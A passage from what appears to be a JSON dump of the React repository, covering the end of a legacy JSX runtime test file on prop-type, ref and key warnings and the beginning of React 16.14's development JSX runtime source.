next: function () {\n          const done = ++i > 2;\n          return {value: done ? undefined : [i, <Component />], done: done};\n        },\n      };\n    },\n  };\n  iterable.entries = iterable['@@iterator'];\n\n  ReactTestUtils.renderIntoDocument(<Component>{iterable}</Component>);\n});\n\nit('does not warn when the element is directly as children', () => {\n  ReactTestUtils.renderIntoDocument(\n    <Component>\n      <Component />\n      <Component />\n    </Component>\n  );\n});\n\nit('does not warn when the child array contains non-elements', () => {\n  void (<Component>{[{}, {}]}</Component>);\n});\n\nit('should give context for PropType errors in nested components.', () => {\n  // In this test, we're making sure that if a proptype error is found in a\n  // component, we give a small hint as to which parent instantiated that\n  // component as per warnings about key usage in ReactElementValidator.\n  function MyComp({color}) {\n    return <div>My color is {color}</div>;\n  }\n  MyComp.propTypes = {\n    color: PropTypes.string,\n  };\n  class ParentComp extends React.Component {\n    render() {\n      return <MyComp color={123} />;\n    }\n  }\n  expect(() => ReactTestUtils.renderIntoDocument(<ParentComp />)).toErrorDev(\n    'Warning: Failed prop type: ' +\n      'Invalid prop `color` of type `number` supplied to `MyComp`, ' +\n      'expected `string`.\\n' +\n      '    in MyComp (at **)\\n' +\n      '    in ParentComp (at **)'\n  );\n});\n\nit('gives a helpful error when passing null, undefined, or boolean', () => {\n  const Undefined = undefined;\n  const Null = null;\n  const True = true;\n  const Div = 'div';\n  expect(() => void (<Undefined />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: undefined. You likely forgot to export your ' +\n      \"component from the file it's defined in, or you might have mixed up \" +\n      'default and named imports.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  expect(() => void (<Null />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: null.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  expect(() => void (<True />)).toErrorDev(\n    'Warning: React.jsx: type is invalid -- expected a string ' +\n      '(for built-in components) or a class/function (for composite ' +\n      'components) but got: boolean.' +\n      (process.env.BABEL_ENV === 'development'\n        ? '\\n\\nCheck your code at **.'\n        : ''),\n    {withoutStack: true}\n  );\n  // No error expected\n  void (<Div />);\n});\n\nit('should check default prop values', () => {\n  RequiredPropComponent.defaultProps = {prop: null};\n\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<RequiredPropComponent />)\n  ).toErrorDev(\n    'Warning: Failed prop type: The prop `prop` is marked as required in ' +\n      '`RequiredPropComponent`, but its value is `null`.\\n' +\n      '    in RequiredPropComponent (at **)'\n  );\n});\n\nit('should warn on invalid prop types', () => {\n  // Since there is no prevalidation step for ES6 classes, there is no hook\n  // for us to issue a warning earlier than element creation when the error\n  // actually occurs. Since this step is skipped in production, we should just\n  // warn instead of throwing for this case.\n  class NullPropTypeComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NullPropTypeComponent.propTypes = {\n    prop: null,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<NullPropTypeComponent />)\n  ).toErrorDev(\n    'NullPropTypeComponent: prop type `prop` is invalid; it must be a ' +\n      'function, usually from the `prop-types` package,'\n  );\n});\n\nxit('should warn on invalid context types', () => {\n  class NullContextTypeComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  NullContextTypeComponent.contextTypes = {\n    prop: null,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<NullContextTypeComponent />)\n  ).toErrorDev(\n    'NullContextTypeComponent: type `prop` is invalid; it must ' +\n      'be a function, usually from the `prop-types` package,'\n  );\n});\n\nit('should warn if getDefaultProps is specified on the class', () => {\n  class GetDefaultPropsComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  GetDefaultPropsComponent.getDefaultProps = () => ({\n    prop: 'foo',\n  });\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(<GetDefaultPropsComponent />)\n  ).toErrorDev(\n    'getDefaultProps is only used on classic React.createClass definitions.' +\n      ' Use a static property named `defaultProps` instead.',\n    {withoutStack: true}\n  );\n});\n\nit('should warn if component declares PropTypes instead of propTypes', () => {\n  class MisspelledPropTypesComponent extends React.Component {\n    render() {\n      return <span>{this.props.prop}</span>;\n    }\n  }\n  MisspelledPropTypesComponent.PropTypes = {\n    prop: PropTypes.string,\n  };\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <MisspelledPropTypesComponent prop=\"hi\" />\n    )\n  ).toErrorDev(\n    'Warning: Component MisspelledPropTypesComponent declared `PropTypes` ' +\n      'instead of `propTypes`. Did you misspell the property assignment?',\n    {withoutStack: true}\n  );\n});\n\n// Not supported.\nxit('warns for fragments with illegal attributes', () => {\n  class Foo extends React.Component {\n    render() {\n      return <React.Fragment a={1}>hello</React.Fragment>;\n    }\n  }\n\n  expect(() => ReactTestUtils.renderIntoDocument(<Foo />)).toErrorDev(\n    'Invalid prop `a` supplied to `React.Fragment`. React.Fragment ' +\n      'can only have `key` and `children` props.'\n  );\n});\n\n// Not supported.\nxit('warns for fragments with refs', () => {\n  class Foo extends React.Component {\n    render() {\n      return (\n        <React.Fragment\n          ref={bar => {\n            this.foo = bar;\n          }}>\n          hello\n        </React.Fragment>\n      );\n    }\n  }\n\n  expect(() => ReactTestUtils.renderIntoDocument(<Foo />)).toErrorDev(\n    'Invalid attribute `ref` supplied to `React.Fragment`.'\n  );\n});\n\n// Not supported.\nxit('does not warn for fragments of multiple elements without keys', () => {\n  ReactTestUtils.renderIntoDocument(\n    <>\n      <span>1</span>\n      <span>2</span>\n    </>\n  );\n});\n\n// Not supported.\nxit('warns for fragments of multiple elements with same key', () => {\n  expect(() =>\n    ReactTestUtils.renderIntoDocument(\n      <>\n        <span key=\"a\">1</span>\n        <span key=\"a\">2</span>\n        <span key=\"b\">3</span>\n      </>\n    )\n  ).toErrorDev('Encountered two children with the same key, `a`.', {\n    withoutStack: true,\n  });\n});\n\n// Not supported.\nxit('does not call lazy initializers eagerly', () => {\n  let didCall = false;\n  const Lazy = React.lazy(() => {\n    didCall = true;\n    return {then() {}};\n  });\n  <Lazy />;\n  expect(didCall).toBe(false);\n});\n\nit('supports classic refs', () => {\n  class Foo extends React.Component {\n    render() {\n      return <div className=\"foo\" ref=\"inner\" />;\n    }\n  }\n  const container = document.createElement('div');\n  const instance = ReactDOM.render(<Foo />, container);\n  expect(instance.refs.inner.className).toBe('foo');\n});\n\nit('should support refs on owned components', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  class Component extends React.Component {\n    render() {\n      const inner = <Wrapper object={innerObj} ref=\"inner\" />;\n      const outer = (\n        <Wrapper object={outerObj} ref=\"outer\">\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.refs.inner.getObject()).toEqual(innerObj);\n      expect(this.refs.outer.getObject()).toEqual(outerObj);\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n});\n\nit('should support callback-style refs', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    render() {\n      const inner = (\n        <Wrapper object={innerObj} ref={c => (this.innerRef = c)} />\n      );\n      const outer = (\n        <Wrapper object={outerObj} ref={c => (this.outerRef = c)}>\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.innerRef.getObject()).toEqual(innerObj);\n      expect(this.outerRef.getObject()).toEqual(outerObj);\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\n// Not supported.\nxit('should support object-style refs', () => {\n  const innerObj = {};\n  const outerObj = {};\n\n  class Wrapper extends React.Component {\n    getObject = () => {\n      return this.props.object;\n    };\n\n    render() {\n      return <div>{this.props.children}</div>;\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    constructor() {\n      super();\n      this.innerRef = React.createRef();\n      this.outerRef = React.createRef();\n    }\n    render() {\n      const inner = <Wrapper object={innerObj} ref={this.innerRef} />;\n      const outer = (\n        <Wrapper object={outerObj} ref={this.outerRef}>\n          {inner}\n        </Wrapper>\n      );\n      return outer;\n    }\n\n    componentDidMount() {\n      expect(this.innerRef.current.getObject()).toEqual(innerObj);\n      expect(this.outerRef.current.getObject()).toEqual(outerObj);\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should support new-style refs with mixed-up owners', () => {\n  class Wrapper extends React.Component {\n    getTitle = () => {\n      return this.props.title;\n    };\n\n    render() {\n      return this.props.getContent();\n    }\n  }\n\n  let mounted = false;\n\n  class Component extends React.Component {\n    getInner = () => {\n      // (With old-style refs, it's impossible to get a ref to this div\n      // because Wrapper is the current owner when this function is called.)\n      return <div className=\"inner\" ref={c => (this.innerRef = c)} />;\n    };\n\n    render() {\n      return (\n        <Wrapper\n          title=\"wrapper\"\n          ref={c => (this.wrapperRef = c)}\n          getContent={this.getInner}\n        />\n      );\n    }\n\n    componentDidMount() {\n      // Check .props.title to make sure we got the right elements back\n      expect(this.wrapperRef.getTitle()).toBe('wrapper');\n      expect(this.innerRef.className).toBe('inner');\n      mounted = true;\n    }\n  }\n\n  ReactTestUtils.renderIntoDocument(<Component />);\n  expect(mounted).toBe(true);\n});\n\nit('should warn when `key` is being accessed on composite element', () => {\n  const container = document.createElement('div');\n  class Child extends React.Component {\n    render() {\n      return <div> {this.props.key} </div>;\n    }\n  }\n  class Parent extends React.Component {\n    render() {\n      return (\n        <div>\n          <Child key=\"0\" />\n          <Child key=\"1\" />\n          <Child key=\"2\" />\n        </div>\n      );\n    }\n  }\n  expect(() => ReactDOM.render(<Parent />, container)).toErrorDev(\n    'Child: `key` is not a prop. Trying to access it will result ' +\n      'in `undefined` being returned. If you need to access the same ' +\n      'value within the child component, you should pass it as a different ' +\n      'prop. (https://reactjs.org/link/special-props)',\n    {withoutStack: true}\n  );\n});\n\nit('should warn when `ref` is being accessed', () => {\n  const container = document.createElement('div');\n  class Child extends React.Component {\n    render() {\n      return <div> {this.props.ref} </div>;\n    }\n  }\n  class Parent extends React.Component {\n    render() {\n      return (\n        <div>\n          <Child ref=\"childElement\" />\n        </div>\n      );\n    }\n  }\n  expect(() => ReactDOM.render(<Parent />, container)).toErrorDev(\n    'Child: `ref` is not a prop. Trying to access it will result ' +\n      'in `undefined` being returned. If you need to access the same ' +\n      'value within the child component, you should pass it as a different ' +\n      'prop. (https://reactjs.org/link/special-props)',\n    {withoutStack: true}\n  );\n});\n\n// Note: no warning before 16.\nit('should NOT warn when owner and self are different for string refs', () => {\n  class ClassWithRenderProp extends React.Component {\n    render() {\n      return this.props.children();\n    }\n  }\n\n  class ClassParent extends React.Component {\n    render() {\n      return (\n        <ClassWithRenderProp>{() => <div ref=\"myRef\" />}</ClassWithRenderProp>\n      );\n    }\n  }\n\n  const container = document.createElement('div');\n  ReactDOM.render(<ClassParent />, container);\n});\n"
  },
  {
    "path": "fixtures/legacy-jsx-runtimes/react-16/cjs/react-jsx-dev-runtime.development.js",
    "content": "/** @license React v16.14.0\n * react-jsx-dev-runtime.development.js\n *\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nif (process.env.NODE_ENV !== \"production\") {\n  (function() {\n'use strict';\n\nvar React = require('react');\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n// The Symbol used to tag the ReactElement-like types. If there is no native Symbol\n// nor polyfill, then a plain number is used for performance.\nvar REACT_ELEMENT_TYPE = 0xeac7;\nvar REACT_PORTAL_TYPE = 0xeaca;\nexports.Fragment = 0xeacb;\nvar REACT_STRICT_MODE_TYPE = 0xeacc;\nvar REACT_PROFILER_TYPE = 0xead2;\nvar REACT_PROVIDER_TYPE = 0xeacd;\nvar REACT_CONTEXT_TYPE = 0xeace;\nvar REACT_FORWARD_REF_TYPE = 0xead0;\nvar REACT_SUSPENSE_TYPE = 0xead1;\nvar REACT_SUSPENSE_LIST_TYPE = 0xead8;\nvar REACT_MEMO_TYPE = 0xead3;\nvar REACT_LAZY_TYPE = 0xead4;\nvar REACT_BLOCK_TYPE = 0xead9;\nvar REACT_SERVER_BLOCK_TYPE = 0xeada;\nvar REACT_FUNDAMENTAL_TYPE = 0xead5;\nvar REACT_SCOPE_TYPE = 0xead7;\nvar REACT_OPAQUE_ID_TYPE = 0xeae0;\nvar REACT_DEBUG_TRACING_MODE_TYPE = 0xeae1;\nvar REACT_OFFSCREEN_TYPE = 0xeae2;\nvar REACT_LEGACY_HIDDEN_TYPE = 0xeae3;\n\nif (typeof Symbol === 'function' && Symbol.for) {\n  var symbolFor = Symbol.for;\n  REACT_ELEMENT_TYPE = symbolFor('react.element');\n  REACT_PORTAL_TYPE = symbolFor('react.portal');\n  exports.Fragment = symbolFor('react.fragment');\n  REACT_STRICT_MODE_TYPE = symbolFor('react.strict_mode');\n  REACT_PROFILER_TYPE = symbolFor('react.profiler');\n  REACT_PROVIDER_TYPE = symbolFor('react.provider');\n  REACT_CONTEXT_TYPE = symbolFor('react.context');\n  REACT_FORWARD_REF_TYPE = symbolFor('react.forward_ref');\n  REACT_SUSPENSE_TYPE = symbolFor('react.suspense');\n  REACT_SUSPENSE_LIST_TYPE = symbolFor('react.suspense_list');\n  REACT_MEMO_TYPE = symbolFor('react.memo');\n  REACT_LAZY_TYPE = symbolFor('react.lazy');\n  REACT_BLOCK_TYPE = symbolFor('react.block');\n  REACT_SERVER_BLOCK_TYPE = symbolFor('react.server.block');\n  REACT_FUNDAMENTAL_TYPE = symbolFor('react.fundamental');\n  REACT_SCOPE_TYPE = symbolFor('react.scope');\n  REACT_OPAQUE_ID_TYPE = symbolFor('react.opaque.id');\n  REACT_DEBUG_TRACING_MODE_TYPE = symbolFor('react.debug_trace_mode');\n  REACT_OFFSCREEN_TYPE = symbolFor('react.offscreen');\n  REACT_LEGACY_HIDDEN_TYPE = symbolFor('react.legacy_hidden');\n}\n\nvar MAYBE_ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator';\nfunction getIteratorFn(maybeIterable) {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n\n  var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];\n\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n\n  return null;\n}\n\nvar ReactSharedInternals = React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;\n\nfunction error(format) {\n  {\n    for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n      args[_key2 - 1] = arguments[_key2];\n    }\n\n    printWarning('error', format, args);\n  }\n}\n\nfunction printWarning(level, format, args) {\n  // When changing this logic, you might want to also\n  // update consoleWithStackDev.www.js as well.\n  {\n    var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\n    var stack = '';\n\n    if (currentlyValidatingElement) {\n      var name = getComponentName(currentlyValidatingElement.type);\n      var owner = currentlyValidatingElement._owner;\n      stack += describeComponentFrame(name, currentlyValidatingElement._source, owner && getComponentName(owner.type));\n    }\n\n    stack += ReactDebugCurrentFrame.getStackAddendum();\n\n\n    if (stack !== '') {\n      format += '%s';\n      args = args.concat([stack]);\n    }\n\n    var argsWithFormat = args.map(function (item) {\n      return '' + item;\n    }); // Careful: RN currently depends on this prefix\n\n    argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it\n    // breaks IE9: https://github.com/facebook/react/issues/13610\n    // eslint-disable-next-line react-internal/no-production-logging\n\n    Function.prototype.apply.call(console[level], console, argsWithFormat);\n  }\n}\n\n// Filter certain DOM attributes (e.g. src, href) if their values are empty strings.\n\nvar enableScopeAPI = false; // Experimental Create Event Handle API.\n\nfunction isValidElementType(type) {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n\n\n  if (type === exports.Fragment || type === REACT_PROFILER_TYPE || type === REACT_DEBUG_TRACING_MODE_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || type === REACT_LEGACY_HIDDEN_TYPE || enableScopeAPI ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_BLOCK_TYPE || type[0] === REACT_SERVER_BLOCK_TYPE) {\n      return true;\n    }\n  }\n\n  return false;\n}\nvar BEFORE_SLASH_RE = /^(.*)[\\\\\\/]/;\nfunction describeComponentFrame (name, source, ownerName) {\n  var sourceInfo = '';\n\n  if (source) {\n    var path = source.fileName;\n    var fileName = path.replace(BEFORE_SLASH_RE, '');\n\n    {\n      // In DEV, include code for a common special case:\n      // prefer \"folder/index.js\" instead of just \"index.js\".\n      if (/^index\\./.test(fileName)) {\n        var match = path.match(BEFORE_SLASH_RE);\n\n        if (match) {\n          var pathBeforeSlash = match[1];\n\n          if (pathBeforeSlash) {\n            var folderName = pathBeforeSlash.replace(BEFORE_SLASH_RE, '');\n            fileName = folderName + '/' + fileName;\n          }\n        }\n      }\n    }\n\n    sourceInfo = ' (at ' + fileName + ':' + source.lineNumber + ')';\n  } else if (ownerName) {\n    sourceInfo = ' (created by ' + ownerName + ')';\n  }\n\n  return '\\n    in ' + (name || 'Unknown') + sourceInfo;\n}\n\nvar Resolved = 1;\nfunction refineResolvedLazyComponent(lazyComponent) {\n  return lazyComponent._status === Resolved ? lazyComponent._result : null;\n}\n\nfunction getWrappedName(outerType, innerType, wrapperName) {\n  var functionName = innerType.displayName || innerType.name || '';\n  return outerType.displayName || (functionName !== '' ? wrapperName + \"(\" + functionName + \")\" : wrapperName);\n}\n\nfunction getComponentName(type) {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n\n  {\n    if (typeof type.tag === 'number') {\n      error('Received an unexpected object in getComponentName(). ' + 'This is likely a bug in React. Please file an issue.');\n    }\n  }\n\n  if (typeof type === 'function') {\n    return type.displayName || type.name || null;\n  }\n\n  if (typeof type === 'string') {\n    return type;\n  }\n\n  switch (type) {\n    case exports.Fragment:\n      return 'Fragment';\n\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n\n    case REACT_PROFILER_TYPE:\n      return \"Profiler\";\n\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_CONTEXT_TYPE:\n        return 'Context.Consumer';\n\n      case REACT_PROVIDER_TYPE:\n        return 'Context.Provider';\n\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n\n      case REACT_MEMO_TYPE:\n        return getComponentName(type.type);\n\n      case REACT_BLOCK_TYPE:\n        return getComponentName(type.render);\n\n      case REACT_LAZY_TYPE:\n        {\n          var thenable = type;\n          var resolvedThenable = refineResolvedLazyComponent(thenable);\n\n          if (resolvedThenable) {\n            return getComponentName(resolvedThenable);\n          }\n\n          break;\n        }\n    }\n  }\n\n  return null;\n}\nvar loggedTypeFailures = {};\nvar ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\nvar currentlyValidatingElement = null;\n\nfunction setCurrentlyValidatingElement(element) {\n  currentlyValidatingElement = element;\n}\n\nfunction checkPropTypes(typeSpecs, values, location, componentName, element) {\n  {\n    // $FlowFixMe This is okay but Flow doesn't know it.\n    var has = Function.call.bind(Object.prototype.hasOwnProperty);\n\n    for (var typeSpecName in typeSpecs) {\n      if (has(typeSpecs, typeSpecName)) {\n        var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n\n          error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');\n        } catch (ex) {\n          error$1 = ex;\n        }\n\n        if (error$1 && !(error$1 instanceof Error)) {\n          setCurrentlyValidatingElement(element);\n\n          error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);\n\n          setCurrentlyValidatingElement(null);\n        }\n\n        if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error$1.message] = true;\n          setCurrentlyValidatingElement(element);\n\n          error('Failed %s type: %s', location, error$1.message);\n\n          setCurrentlyValidatingElement(null);\n        }\n      }\n    }\n  }\n}\n\nvar ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\nvar specialPropKeyWarningShown;\nvar specialPropRefWarningShown;\nvar didWarnAboutStringRefs;\n\n{\n  didWarnAboutStringRefs = {};\n}\n\nfunction hasValidRef(config) {\n  {\n    if (hasOwnProperty.call(config, 'ref')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'ref').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.ref !== undefined;\n}\n\nfunction hasValidKey(config) {\n  {\n    if (hasOwnProperty.call(config, 'key')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 'key').get;\n\n      if (getter && getter.isReactWarning) {\n        return false;\n      }\n    }\n  }\n\n  return config.key !== undefined;\n}\n\nfunction warnIfStringRefCannotBeAutoConverted(config, self) {\n  {\n    if (typeof config.ref === 'string' && ReactCurrentOwner.current && self && ReactCurrentOwner.current.stateNode !== self) {\n      var componentName = getComponentName(ReactCurrentOwner.current.type);\n\n      if (!didWarnAboutStringRefs[componentName]) {\n        error('Component \"%s\" contains the string ref \"%s\". ' + 'Support for string refs will be removed in a future major release. ' + 'This case cannot be automatically converted to an arrow function. ' + 'We ask you to manually fix this case by using useRef() or createRef() instead. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-string-ref', getComponentName(ReactCurrentOwner.current.type), config.ref);\n\n        didWarnAboutStringRefs[componentName] = true;\n      }\n    }\n  }\n}\n\nfunction defineKeyPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingKey = function () {\n      if (!specialPropKeyWarningShown) {\n        specialPropKeyWarningShown = true;\n\n        error('%s: `key` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingKey.isReactWarning = true;\n    Object.defineProperty(props, 'key', {\n      get: warnAboutAccessingKey,\n      configurable: true\n    });\n  }\n}\n\nfunction defineRefPropWarningGetter(props, displayName) {\n  {\n    var warnAboutAccessingRef = function () {\n      if (!specialPropRefWarningShown) {\n        specialPropRefWarningShown = true;\n\n        error('%s: `ref` is not a prop. Trying to access it will result ' + 'in `undefined` being returned. If you need to access the same ' + 'value within the child component, you should pass it as a different ' + 'prop. (https://reactjs.org/link/special-props)', displayName);\n      }\n    };\n\n    warnAboutAccessingRef.isReactWarning = true;\n    Object.defineProperty(props, 'ref', {\n      get: warnAboutAccessingRef,\n      configurable: true\n    });\n  }\n}\n/**\n * Factory method to create a new React element. This no longer adheres to\n * the class pattern, so do not use new to call it. Also, instanceof check\n * will not work. Instead test $$typeof field against Symbol.for('react.element') to check\n * if something is a React Element.\n *\n * @param {*} type\n * @param {*} props\n * @param {*} key\n * @param {string|object} ref\n * @param {*} owner\n * @param {*} self A *temporary* helper to detect places where `this` is\n * different from the `owner` when React.createElement is called, so that we\n * can warn. We want to get rid of owner and replace string `ref`s with arrow\n * functions, and as long as `this` and owner are the same, there will be no\n * change in behavior.\n * @param {*} source An annotation object (added by a transpiler or otherwise)\n * indicating filename, line number, and/or other information.\n * @internal\n */\n\n\nvar ReactElement = function (type, key, ref, self, source, owner, props) {\n  var element = {\n    // This tag allows us to uniquely identify this as a React Element\n    $$typeof: REACT_ELEMENT_TYPE,\n    // Built-in properties that belong on the element\n    type: type,\n    key: key,\n    ref: ref,\n    props: props,\n    // Record the component responsible for creating this element.\n    _owner: owner\n  };\n\n  {\n    // The validation flag is currently mutative. We put it on\n    // an external backing store so that we can freeze the whole object.\n    // This can be replaced with a WeakMap once they are implemented in\n    // commonly used development environments.\n    element._store = {}; // To make comparing ReactElements easier for testing purposes, we make\n    // the validation flag non-enumerable (where possible, which should\n    // include every environment we run tests in), so the test framework\n    // ignores it.\n\n    Object.defineProperty(element._store, 'validated', {\n      configurable: false,\n      enumerable: false,\n      writable: true,\n      value: false\n    }); // self and source are DEV only properties.\n\n    Object.defineProperty(element, '_self', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: self\n    }); // Two elements created in two different places should be considered\n    // equal for testing purposes and therefore we hide it from enumeration.\n\n    Object.defineProperty(element, '_source', {\n      configurable: false,\n      enumerable: false,\n      writable: false,\n      value: source\n    });\n\n    if (Object.freeze) {\n      Object.freeze(element.props);\n      Object.freeze(element);\n    }\n  }\n\n  return element;\n};\n/**\n * https://github.com/reactjs/rfcs/pull/107\n * @param {*} type\n * @param {object} props\n * @param {string} key\n */\n\nfunction jsxDEV(type, config, maybeKey, source, self) {\n  {\n    var propName; // Reserved names are extracted\n\n    var props = {};\n    var key = null;\n    var ref = null; // Currently, key can be spread in as a prop. This causes a potential\n    // issue if key is also explicitly declared (ie. <div {...props} key=\"Hi\" />\n    // or <div key=\"Hi\" {...props} /> ). We want to deprecate key spread,\n    // but as an intermediary step, we will use jsxDEV for everything except\n    // <div {...props} key=\"Hi\" />, because we aren't currently able to tell if\n    // key is explicitly declared to be undefined or not.\n\n    if (maybeKey !== undefined) {\n      key = '' + maybeKey;\n    }\n\n    if (hasValidKey(config)) {\n      key = '' + config.key;\n    }\n\n    if (hasValidRef(config)) {\n      ref = config.ref;\n      warnIfStringRefCannotBeAutoConverted(config, self);\n    } // Remaining properties are added to a new props object\n\n\n    for (propName in config) {\n      if (hasOwnProperty.call(config, propName) && !RESERVED_PROPS.hasOwnProperty(propName)) {\n        props[propName] = config[propName];\n      }\n    } // Resolve default props\n\n\n    if (type && type.defaultProps) {\n      var defaultProps = type.defaultProps;\n\n      for (propName in defaultProps) {\n        if (props[propName] === undefined) {\n          props[propName] = defaultProps[propName];\n        }\n      }\n    }\n\n    if (key || ref) {\n      var displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;\n\n      if (key) {\n        defineKeyPropWarningGetter(props, displayName);\n      }\n\n      if (ref) {\n        defineRefPropWarningGetter(props, displayName);\n      }\n    }\n\n    return ReactElement(type, key, ref, self, source, ReactCurrentOwner.current, props);\n  }\n}\n\nvar ReactCurrentOwner$1 = ReactSharedInternals.ReactCurrentOwner;\nvar ReactDebugCurrentFrame$1 = ReactSharedInternals.ReactDebugCurrentFrame;\n\nfunction setCurrentlyValidatingElement$1(element) {\n  currentlyValidatingElement = element;\n}\n\nvar propTypesMisspellWarningShown;\n\n{\n  propTypesMisspellWarningShown = false;\n}\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\n\nfunction isValidElement(object) {\n  {\n    return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE;\n  }\n}\n\nfunction getDeclarationErrorAddendum() {\n  {\n    if (ReactCurrentOwner$1.current) {\n      var name = getComponentName(ReactCurrentOwner$1.current.type);\n\n      if (name) {\n        return '\\n\\nCheck the render method of `' + name + '`.';\n      }\n    }\n\n    return '';\n  }\n}\n\nfunction 